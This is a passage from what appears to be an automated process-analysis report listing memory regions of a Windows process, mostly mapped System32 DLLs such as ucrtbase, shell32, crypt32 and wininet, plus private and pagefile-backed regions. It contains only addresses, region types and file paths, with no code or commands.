start_va = 0x7fef9e40000 end_va = 0x7fef9e43fff entry_point = 0x7fef9e40000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 2021 start_va = 0x7fef9e50000 end_va = 0x7fef9e52fff entry_point = 0x7fef9e50000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 2022 start_va = 0x7fef9e60000 end_va = 0x7fef9e63fff entry_point = 0x7fef9e60000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 2023 start_va = 0x7fef9e70000 end_va = 0x7fef9e72fff entry_point = 0x7fef9e70000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll") Region: id = 2024 start_va = 0x7fef9e80000 end_va = 0x7fef9e82fff entry_point = 0x7fef9e80000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 2025 start_va = 0x7fef9e90000 end_va = 0x7fef9e92fff entry_point = 0x7fef9e90000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 2026 start_va = 0x7fef9ea0000 end_va = 0x7fef9ea2fff entry_point = 0x7fef9ea0000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 2027 start_va = 0x7fef9eb0000 end_va = 0x7fef9eb2fff entry_point = 0x7fef9eb0000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll") Region: id = 2028 start_va = 0x7fef9ec0000 end_va = 0x7fef9ec2fff entry_point = 0x7fef9ec0000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 2029 start_va = 0x7fef9ed0000 end_va = 0x7fef9fc1fff entry_point = 0x7fef9ed0000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 2030 start_va = 0x7fef9fd0000 end_va = 0x7fef9fd3fff entry_point = 0x7fef9fd0000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 2031 start_va = 0x7fef9fe0000 end_va = 0x7fef9ff5fff entry_point = 0x7fef9fe0000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 2032 start_va = 0x7fefa000000 end_va = 0x7fefa315fff entry_point = 0x7fefa000000 region_type = mapped_file name = "grooveex.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\GROOVEEX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\grooveex.dll") Region: id = 2033 start_va = 0x7fefa320000 end_va = 0x7fefa5ddfff entry_point = 0x7fefa320000 region_type = mapped_file name = "filesyncshell64.dll" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\amd64\\FileSyncShell64.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\amd64\\filesyncshell64.dll") Region: id = 2034 start_va = 0x7fefa5e0000 end_va = 0x7fefa636fff entry_point = 0x7fefa5e0000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 2035 start_va = 0x7fefa640000 end_va = 0x7fefa809fff entry_point = 0x7fefa640000 region_type = mapped_file name = "explorerframe.dll" filename = "\\Windows\\System32\\ExplorerFrame.dll" (normalized: "c:\\windows\\system32\\explorerframe.dll") Region: id = 2036 start_va = 0x7fefad50000 end_va = 0x7fefad67fff entry_point = 0x7fefad50000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2037 start_va = 0x7fefad70000 end_va = 0x7fefad80fff entry_point = 0x7fefad70000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2038 start_va = 0x7fefadb0000 end_va = 0x7fefadc5fff entry_point = 0x7fefadb0000 region_type = mapped_file name = "syncreg.dll" filename = "\\Windows\\System32\\Syncreg.dll" (normalized: "c:\\windows\\system32\\syncreg.dll") Region: id = 2039 start_va = 0x7fefaff0000 end_va = 0x7fefaffafff entry_point = 0x7fefaff0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2040 start_va = 0x7fefb000000 end_va = 0x7fefb026fff entry_point = 0x7fefb000000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2041 start_va = 0x7fefb060000 end_va = 0x7fefb0c6fff entry_point = 0x7fefb060000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 2042 start_va = 0x7fefb0d0000 end_va = 0x7fefb0dafff entry_point = 0x7fefb0d0000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 2043 start_va = 0x7fefb100000 end_va = 0x7fefb118fff entry_point = 0x7fefb100000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 2044 start_va = 0x7fefb1a0000 end_va = 0x7fefb1b4fff entry_point = 0x7fefb1a0000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 2045 start_va = 0x7fefb290000 end_va = 0x7fefb3b6fff entry_point = 0x7fefb290000 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2046 start_va = 0x7fefb4a0000 end_va = 0x7fefb4ccfff entry_point = 0x7fefb4a0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2047 start_va = 0x7fefb4d0000 end_va = 0x7fefb4fbfff entry_point = 0x7fefb4d0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 2048 start_va = 0x7fefb700000 end_va = 0x7fefb713fff entry_point = 0x7fefb700000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 2049 start_va = 0x7fefb720000 end_va = 0x7fefb734fff entry_point = 0x7fefb720000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2050 start_va = 0x7fefb740000 end_va = 0x7fefb74bfff entry_point = 0x7fefb740000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2051 start_va = 0x7fefb880000 end_va = 0x7fefb890fff entry_point = 0x7fefb880000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 2052 start_va = 0x7fefb8b0000 end_va = 0x7fefb9d9fff entry_point = 0x7fefb8b0000 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 2053 start_va = 0x7fefb9e0000 end_va = 0x7fefba14fff entry_point = 0x7fefb9e0000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 2054 start_va = 0x7fefba20000 end_va = 0x7fefba37fff entry_point = 0x7fefba20000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2055 start_va = 0x7fefba40000 end_va = 0x7fefba8afff entry_point = 0x7fefba40000 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 2056 start_va = 0x7fefba90000 end_va = 0x7fefba9afff entry_point = 0x7fefba90000 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 2057 start_va = 0x7fefbaa0000 end_va = 0x7fefbadafff entry_point = 0x7fefbaa0000 region_type = mapped_file name = "sndvolsso.dll" filename = "\\Windows\\System32\\SndVolSSO.dll" (normalized: "c:\\windows\\system32\\sndvolsso.dll") Region: id = 2058 start_va = 0x7fefbae0000 end_va = 0x7fefbb22fff entry_point = 0x7fefbae0000 region_type = mapped_file name = "duser.dll" filename = "\\Windows\\System32\\duser.dll" (normalized: "c:\\windows\\system32\\duser.dll") Region: id = 2059 start_va = 0x7fefbb30000 end_va = 0x7fefbc21fff entry_point = 0x7fefbb30000 region_type = mapped_file name = "dui70.dll" filename = "\\Windows\\System32\\dui70.dll" (normalized: "c:\\windows\\system32\\dui70.dll") Region: id = 2060 start_va = 0x7fefbc30000 end_va = 0x7fefbe44fff entry_point = 0x7fefbc30000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 2061 start_va = 0x7fefbe50000 end_va = 0x7fefbea5fff entry_point = 0x7fefbe50000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2062 start_va = 0x7fefbeb0000 end_va = 0x7fefbfdbfff entry_point = 0x7fefbeb0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 2063 start_va = 0x7fefbfe0000 end_va = 0x7fefbffcfff entry_point = 0x7fefbfe0000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 2064 start_va = 0x7fefc000000 end_va = 0x7fefc023fff entry_point = 0x7fefc000000 region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" (normalized: "c:\\windows\\system32\\shacct.dll") Region: id = 2065 start_va = 0x7fefc030000 end_va = 0x7fefc223fff entry_point = 0x7fefc030000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 2066 start_va = 0x7fefc230000 end_va = 0x7fefc338fff entry_point = 0x7fefc230000 region_type = mapped_file name = "cryptui.dll" filename = "\\Windows\\System32\\cryptui.dll" (normalized: "c:\\windows\\system32\\cryptui.dll") Region: id = 2067 start_va = 0x7fefc340000 end_va = 0x7fefc519fff entry_point = 0x7fefc340000 region_type = mapped_file name = "authui.dll" filename = "\\Windows\\System32\\authui.dll" (normalized: "c:\\windows\\system32\\authui.dll") Region: id = 2068 start_va = 0x7fefc540000 end_va = 0x7fefc548fff entry_point = 0x7fefc540000 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 2069 start_va = 0x7fefc6f0000 end_va = 0x7fefc6fbfff entry_point = 0x7fefc6f0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2070 start_va = 0x7fefc8d0000 end_va = 0x7fefc8edfff entry_point = 0x7fefc8d0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2071 start_va = 0x7fefca20000 end_va = 0x7fefca29fff entry_point = 0x7fefca20000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2072 start_va = 0x7fefcb20000 end_va = 0x7fefcb66fff entry_point = 0x7fefcb20000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2073 start_va = 0x7fefce20000 end_va = 0x7fefce36fff entry_point = 0x7fefce20000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2074 start_va = 0x7fefcf30000 end_va = 0x7fefcf61fff entry_point = 0x7fefcf30000 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 2075 start_va = 0x7fefd050000 end_va = 0x7fefd0bcfff entry_point = 0x7fefd050000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 2076 start_va = 0x7fefd320000 end_va = 0x7fefd342fff entry_point = 0x7fefd320000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2077 start_va = 0x7fefd3c0000 end_va = 0x7fefd3cafff entry_point = 0x7fefd3c0000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2078 start_va = 0x7fefd3f0000 end_va = 0x7fefd414fff entry_point = 0x7fefd3f0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2079 start_va = 0x7fefd420000 end_va = 0x7fefd42efff entry_point = 0x7fefd420000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2080 start_va = 0x7fefd430000 end_va = 0x7fefd4c0fff entry_point = 0x7fefd430000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 2081 start_va = 0x7fefd4d0000 end_va = 0x7fefd50cfff entry_point = 0x7fefd4d0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2082 start_va = 0x7fefd510000 end_va = 0x7fefd523fff entry_point = 0x7fefd510000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2083 start_va = 0x7fefd530000 end_va = 0x7fefd53efff entry_point = 0x7fefd530000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2084 start_va = 0x7fefd5d0000 end_va = 0x7fefd5defff entry_point = 0x7fefd5d0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2085 start_va = 0x7fefd680000 end_va = 0x7fefd6b9fff entry_point = 0x7fefd680000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 2086 start_va = 0x7fefd6c0000 end_va = 0x7fefd6d9fff entry_point = 0x7fefd6c0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2087 start_va = 0x7fefd6e0000 end_va = 0x7fefd74afff entry_point = 0x7fefd6e0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2088 start_va = 0x7fefd750000 end_va = 0x7fefd8b6fff entry_point = 0x7fefd750000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2089 start_va = 0x7fefd8c0000 end_va = 0x7fefd8f5fff entry_point = 0x7fefd8c0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2090 start_va = 0x7fefd900000 end_va = 0x7fefd94cfff entry_point = 0x7fefd900000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2091 start_va = 0x7fefd970000 end_va = 0x7fefda78fff entry_point = 0x7fefd970000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2092 start_va = 0x7fefda80000 end_va = 0x7fefdbacfff entry_point = 0x7fefda80000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2093 start_va = 0x7fefdbb0000 end_va = 0x7fefdcd9fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 2094 start_va = 0x7fefdce0000 end_va = 0x7fefdcedfff entry_point = 0x7fefdce0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2095 start_va = 0x7fefdcf0000 end_va = 0x7fefdd60fff entry_point = 0x7fefdcf0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2096 start_va = 0x7fefdd70000 end_va = 0x7fefde38fff entry_point = 0x7fefdd70000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2097 start_va = 0x7fefde40000 end_va = 0x7fefde47fff entry_point = 0x7fefde40000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2098 start_va = 0x7fefde50000 end_va = 0x7fefebd7fff entry_point = 0x7fefde50000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2099 start_va = 0x7fefebe0000 end_va = 0x7fefec0dfff entry_point = 0x7fefebe0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2100 start_va = 0x7fefec10000 end_va = 0x7fefed87fff entry_point = 0x7fefec10000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 2101 start_va = 0x7fefed90000 end_va = 0x7fefee6afff entry_point = 0x7fefed90000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2102 start_va = 0x7fefee70000 end_va = 0x7feff072fff entry_point = 0x7fefee70000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2103 start_va = 0x7feff080000 end_va = 0x7feff2d8fff entry_point = 0x7feff080000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 2104 start_va = 0x7feff2e0000 end_va = 0x7feff37efff entry_point = 0x7feff2e0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2105 start_va = 0x7feff380000 end_va = 0x7feff456fff entry_point = 0x7feff380000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2106 start_va = 0x7feff4e0000 end_va = 0x7feff531fff entry_point = 0x7feff4e0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2107 start_va = 0x7feff540000 end_va = 0x7feff5a6fff entry_point = 0x7feff540000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2108 start_va = 0x7feff5b0000 end_va = 0x7feff648fff entry_point = 0x7feff5b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2109 start_va = 0x7feff650000 end_va = 0x7feff826fff entry_point = 0x7feff650000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 2110 start_va = 0x7feff830000 end_va = 0x7feff84efff entry_point = 0x7feff830000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2111 start_va = 0x7feff900000 end_va = 0x7feff900fff entry_point = 0x7feff900000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2112 start_va = 0x7fffff78000 end_va = 0x7fffff79fff entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 2113 start_va = 0x7fffff7a000 end_va = 0x7fffff7bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7a000" filename = "" Region: id = 2114 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 2115 start_va = 0x7fffff80000 end_va = 0x7fffff81fff entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 2116 start_va = 0x7fffff84000 end_va = 0x7fffff85fff entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 2117 start_va = 0x7fffff86000 end_va = 0x7fffff87fff entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 2118 start_va = 0x7fffff88000 end_va = 0x7fffff89fff entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 2119 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 2120 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 2121 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 2122 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 2123 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 2124 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 2125 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 2126 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2127 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2128 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 2129 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 2130 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2131 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2132 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2133 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2134 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2135 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2136 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2137 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2138 start_va = 0x7fffffda000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2139 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2140 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2316 start_va = 0x7a30000 end_va = 0x83f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007a30000" filename = "" Region: id = 2317 start_va = 0x8400000 end_va = 0x850bfff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008400000" filename = "" Region: id = 2323 start_va = 0x4250000 end_va = 0x42cffff entry_point = 0x0 region_type = private name = "private_0x0000000004250000" filename = "" Region: id = 2324 start_va = 0x7fefcdc0000 end_va = 0x7fefce14fff entry_point = 0x7fefcdc0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2325 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2326 start_va = 0x6550000 end_va = 0x665ffff entry_point = 0x0 region_type = private name = "private_0x0000000006550000" filename = "" Region: id = 2327 start_va = 0x7fefc7c0000 end_va = 0x7fefc7c6fff entry_point = 0x7fefc7c0000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2328 start_va = 0x7fefcc40000 end_va = 0x7fefcc9afff entry_point = 0x7fefcc40000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" 